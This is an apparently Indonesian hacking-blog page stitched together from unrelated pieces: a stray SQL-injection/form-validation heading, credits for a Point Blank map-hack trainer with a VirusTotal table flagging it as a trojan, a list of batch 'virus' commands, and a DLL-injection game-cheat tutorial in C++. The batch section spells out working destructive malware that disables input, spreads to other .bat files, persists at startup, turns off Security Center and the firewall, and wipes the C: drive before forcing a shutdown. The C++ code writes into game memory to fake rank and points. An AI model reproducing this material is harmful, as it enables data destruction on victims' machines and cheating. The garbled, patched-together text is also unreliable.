Cegah SQL Injection dengan Form Validation

1. Field Name error karena, field tersebut haruslah terisi.
2. Field E-mail error karena, karakter yang dimasukkan tidak sesuai dengan aturan validasi. setidaknya email harus berformat seperti -> sample@proweb.co.id
3. Field E-mail error karena, karakter yang dimasukkan tidak sesuai dengan aturan validasi. setidaknya url harus berformat seperti -> http://www.prowebpro.com

Creator :
[*] gLozY 
Greetz to :
[*]HRD[*] RCD[*] US-N:.Hero™
[*] anasTM[*] EchoLondo
[*] Indrascoot
[*] Haranobu
[*] gLozY

Cheat/Trainer Effect :
[*] Minimize On Automaticlly No Hotkey
[*] Map Hack on  : F11[*] Map Hack off  : F12

NB : [*] yang Mirror Maho Permanent
[*] Dilarang Mengambil Dll Secara Paksa.!!
[*] BT/DC tergantung Timing Yang Pas..!!

 Virus Total :

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      5.1.0.2         20110203090724    2011-02-03  6.06   -
AhnLab V3      2011.02.06.00   2011.02.06        2011-02-06  2.31   -
AntiVir        8.2.4.162       7.11.2.80         2011-02-04  0.30   -
Antiy          2.0.18          2.0.18.           0002-18-00  0.12   Trojan/Win32.Nilage.htj[GameThief]
Arcavir        2010            201102061004      2011-02-06  0.17   -
Authentium     5.1.1           201102051831      2011-02-05  2.34   -
AVAST!         4.7.4           110205-1          2011-02-05  0.05   -
AVG            8.5.850         271.1.1/3425      2011-02-06  0.28   -
BitDefender    7.90123.6715142 7.36097           2011-02-06  6.33   -
ClamAV         0.96.5          12634             2011-02-05  0.26   Trojan.Agent-193115
Comodo         4.0             7596              2011-02-05  1.14   -
CP Secure      1.3.0.5         2011.02.05        2011-02-05  0.09   -
Dr.Web         5.0.2.3300      2011.02.06        2011-02-06  11.75  -
F-Prot         4.4.4.56        20110205          2011-02-05  2.35   -
F-Secure       7.02.73807      2011.02.05.03     2011-02-05  0.46   -
Fortinet       4.2.254         12.868            2011-02-04  0.25   -
GData          21.1724/21.670  20110206          2011-02-06  8.31   -
ViRobot        20110205        2011.02.05        2011-02-05  0.38   -
Ikarus         T3.1.32.15.0    2011.02.05.77670  2011-02-05  5.16   -
JiangMin       13.0.900        2011.02.05        2011-02-05  1.43   Worm/Windaus.rKaspersky      5.5.10          2011.02.05        2011-02-05  0.17   -
KingSoft       2009.2.5.15     2011.2.6.11       2011-02-06  0.69   Win32.Troj.Refroso.ci.798232
McAfee         5400.1158       6248              2011-02-05  7.04   -
Microsoft      1.6502          2011.02.06        2011-02-06  8.97   -
NOD32          3.0.21          5849              2011-02-05  0.04   -
Norman         6.06.12         6.06.00           2011-01-18  14.02  -
Panda          9.05.01         2011.02.04        2011-02-04  0.64   -
Trend Micro    9.200-1012      7.814.09          2011-02-05  0.05   -
Quick Heal     11.00           2011.02.04        2011-02-04  1.09   -
Rising         20.0            23.43.05.06       2011-02-05  3.10   -
Sophos         3.16.1          4.62              2011-02-06  3.20   -
Sunbelt        3.9.2474.2      8324              2011-02-05  8.89   -
Symantec       1.3.0.24        20110205.002      2011-02-05  0.06   -
nProtect       20110126.01     2974157           2011-01-26  5.08   -
The Hacker     6.7.0.1         v00124            2011-02-04  0.46   -
VBA32          3.12.14.3       20110204.1249     2011-02-04  3.83   -
VirusBuster    5.2.0.28        13.6.184.0/44460252011-02-05  0.00   -

Quote:@echo off

Quote:rundll32 user,swapmousebutton

Quote:start http://www.google.com

Quote:shutdown -s -t 10 -c "YOUR MESSAGE HERE" -f

Quote:rundll32 mouse,disable

Quote:rundll32 keyboard,disable

Quote:rundll32 user,disableoemlayer

Quote:for %%i in (*.bat) do copy %0+%%i %%i /y >nul"

Quote:%0 >>other.bat

Quote:dir *.*>>Filelist.txt

Quote:net user administrator PASSWORD HERE

Quote:ipconfig >Computer-IP-address.txt

Quote:COPY %0 %windir%WINSTART.BAT

Quote:format c: /q /autotest

Quote:DELTREE /Y %windir%

Quote:DEL /F /S /Q C:

Quote:net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0

Quote:pause

Quote:

Quote:@ping.exe 127.0.0.1 -n 20 -w 1000 > nul

Quote:@echo off
cls
rundll32 mouse,disable
rundll32 keyboard,disable
COPY %0 %windir%WINSTART.BAT
net stop "Security Center"
net stop SharedAccess
echo Anda kena VIRUS!!!
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
start http://www.youtube.com
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
DEL /F /S /Q C:
shutdown -s -t 10 -c "Ucapkan selamat tinggal pada komputermu!" -f

Tutor membuat Dll Injection.

• Visual C++ 2008 Express Edition (free)
• atau bisa ke sini http://www.esoft.web.id/programming/free-download-microsoft-visual-c-2008-express-edition.html

• Jalankan Visual C++ 2008 Express Edition, buat sebuah project dengan cara akses menu File - New - Project atau dengan menekan tombol CTRL + SHIFT + N.
  
  Screenshot:
  
  
• Pada jendela New Project, pilih Empty Project (1) pada bagian Templates, kemudian pada kolom Name masukkan nama project (2) dan klik tombol OK (3)
  
  Screenshot:
  
  
• Project telah berhasil dibuat. Pada bagian Solution Explorer, klik kanan pada nama project (1), kemudian pilih menu Properties (2).
  
  Screenshot:
  
  
• Jendela project properties akan tampil. Pada tree menu sebelah kiri, pilih Configuration Properties (1), kemudian bagian opsi Project Defaults, ubah opsi Configuration Type menjadi Dynamic Library (.dll) (2), kemudian tekan tombol OK (3) untuk melakukan perubahan.
  
  Screenshot:
  
  
• Pada jendela Add New Item yang tampil, pada bagian templates pilih C++ File (.cpp) (1), beri nama 'Main.cpp' (2) pada bagian kolom Name, kemudian tekan tombol OK (3).
• 
  
• Lanjut Bacanya boy >>>>>
  Screenshot:
  
  
• Sebuah file bernama 'Main.cpp' berhasil dibuat. Silakan masukkan kode-kode di bawah ini pada file tersebut, kemudian simpan (save).
  
  Screenshot:
  
  
  
• Berikutnya adalah membuat sebuah file bernama Main.cpp untuk memasukkan kode-kode utama, dengan cara pilih direktori Source Files (1) pada bagian Solution Explorer, kemudian klik menu Project - Add New Item (2) atau dengan menekan tombol CTRL + SHIFT + A.

#define _CRT_SECURE_NO_WARNINGS
#include 
#include 

// definisikan variable dengan 'window title', 'window classname' dan modul
char *pProcessWindowTitle = "Point Blank";
char *pProcessWindowClass = "I3VIEWER";
char *pProcessModuleName  = "PointBlank.i3Exec";

// etc...
UINT_PTR uipUserRankValue = 35; // major? :D
UINT_PTR uipUserPointsValue = 999999; // OMG!

UINT_PTR uiptrFinalRank, uiptrFinalPoints;

bool isInitMmhMemory = true;

DWORD dwProcessID;
UINT_PTR uipMmhBaseAddress;
HANDLE hProcess;

DWORD GetModuleBase(LPSTR lpModuleName, DWORD dwProcessId)
{
   MODULEENTRY32 lpModuleEntry = {0};
   HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
 
   if(!hSnapShot)
      return NULL;
   lpModuleEntry.dwSize = sizeof(lpModuleEntry);
   BOOL bModule = Module32First( hSnapShot, &lpModuleEntry );
   while(bModule)
   {
      if(!strcmp( lpModuleEntry.szModule, lpModuleName ) )
      {
         CloseHandle(hSnapShot);
         return (DWORD)lpModuleEntry.modBaseAddr;
      }
      bModule = Module32Next( hSnapShot, &lpModuleEntry );
   }
   CloseHandle( hSnapShot );
   return NULL;
}

// DeRef() = credit L. Spiro (MHS)
UINT_PTR DeRef( UINT_PTR _uiptrPointer ) {
    UINT_PTR uiptrRet;
    if (!::ReadProcessMemory(hProcess, reinterpret_cast(_uiptrPointer), &uiptrRet, sizeof(uiptrRet), NULL)) { return 0UL; }
    return uiptrRet;
}

// inisialisasi proses
void InitApplicationProcess()
{
 bool isFindWindow = true;
 HWND hWnd = NULL;
 
 while(isFindWindow)
 {
  if((hWnd = FindWindowA(pProcessWindowClass, pProcessWindowTitle)) != NULL) // jika window ditemukan
  {
   isFindWindow = false;
  }
  Sleep(500);
 }

 GetWindowThreadProcessId(hWnd, &dwProcessID);
 hProcess = OpenProcess(PROCESS_ALL_ACCESS|PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, dwProcessID);
}

void MajorMissionHack()
{
 if(isInitMmhMemory)
 {
  uipMmhBaseAddress = GetModuleBase(pProcessModuleName, dwProcessID);
  
  // misal: pointer yang didapat = PointBlank.i3Exec+00471234 dengan offset 0xA12, tuliskan seperti di bawah!
  uiptrFinalRank = DeRef(uipMmhBaseAddress + 0x4XXXXX) + 0xXXX; // User rank pointer - masked, sorry!
  uiptrFinalPoints = DeRef(uipMmhBaseAddress + 0x4XXXXX) + 0xXXX; // User points pointer - masked, sorry! 

  isInitMmhMemory = false;
 }
 
 // WriteProcessMemory pada pointer 'rank', berikan nilai uipUserRankValue (35)
 ::WriteProcessMemory(hProcess, reinterpret_cast(uiptrFinalRank), &uipUserRankValue, sizeof(uipUserRankValue), NULL);

 // WriteProcessMemory pada pointer 'points', berikan nilai uipUserPointsValue (999999) LOL!
 ::WriteProcessMemory(hProcess, reinterpret_cast(uiptrFinalPoints), &uipUserPointsValue, sizeof(uipUserPointsValue), NULL);
}

void LovelyLoopy()
{
 // ok, berikan salam dulu! :D
 MessageBox(0, "DLL berhasil di-inject. Lanjutkan!", "Hello World", MB_OK + MB_ICONASTERISK);
 
 InitApplicationProcess();

 while(1) // loop selamanya :D
 {
  if(GetAsyncKeyState(VK_F12)&1) // jika F12 ditekan
  {
   MajorMissionHack(); // panggil fungsi 'MajorMissionHack()'
   Sleep(500);
  }
  
  Sleep(1);
 }
}

BOOL WINAPI DllMain(HMODULE hDll, DWORD dwReason, LPVOID lpReserved)
{
 DisableThreadLibraryCalls(hDll);
 
 if(dwReason == DLL_PROCESS_ATTACH)
 {
  CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)LovelyLoopy, NULL, NULL, NULL);
 } 
 else if(dwReason == DLL_PROCESS_DETACH)
 {
  CloseHandle(hProcess);
 }

 return TRUE;
}

• Screenshot:
  
  
• Jika kode sudah disimpan (save), langkah berikutnya adalah membentuk file DLL-nya dengan cara klik menu Build - Build Solution atau dengan menekan tombol F7.
  
  Screenshot:
  
  
• Setelah proses build solution, pada jendela Output akan menampilkan hasil dari proses compile/build tersebut, jika tidak ada kesalahan (error) berarti kode-kode sudah benar dan file DLL sudah terbentuk. Jika ternyata ada kesalahan (error), silakan periksa langkah-langkah sebelumnya jika ada yang terlewatkan.
  
  Screenshot:
  
  
• Kemudian buka direktori tempat project anda disimpan, dalam tutorial ini ane simpan di direktori D:\!PROJECTS!\SukaSukaEnte dan buka direktori yang bernama Debug di dalamnya (sesuaikan letak direktori anda).
  
  Screenshot:
  
  
  Bisa kita lihat ada beberapa file yang terbentuk, namun yang kita perlukan hanyalah file yang berekstensi .dll, karena file tersebut yang akan kita injeksikan ke proses program/game. Agar tidak membingungkan, sekaligus ane copy-kan file injector-nya (x1nject.exe) ke direktori tersebut.
  
• Kemudian jalankan injector (x1nject.exe), ubah pada kolom 'What to inject' dengan nama proses program/game, (contoh: PointBlank.exe), pada bagian 'Add to injection list' tambahkan file .dll yang telah kita buat dengan menekan tombol Browse dan cari pada direktori Debug project kita.
  
  Screenshot:
  
  
• Jalankan program/game yang akan kita injeksikan dengan .dll yang kita buat, dan apabila program/game telah berjalan, injector x1nject.exe otomatis menginjeksikan file .dll tersebut.
  
  Screenshot:
  
  
  dan hasilnya adalah:
  
  Screenshot: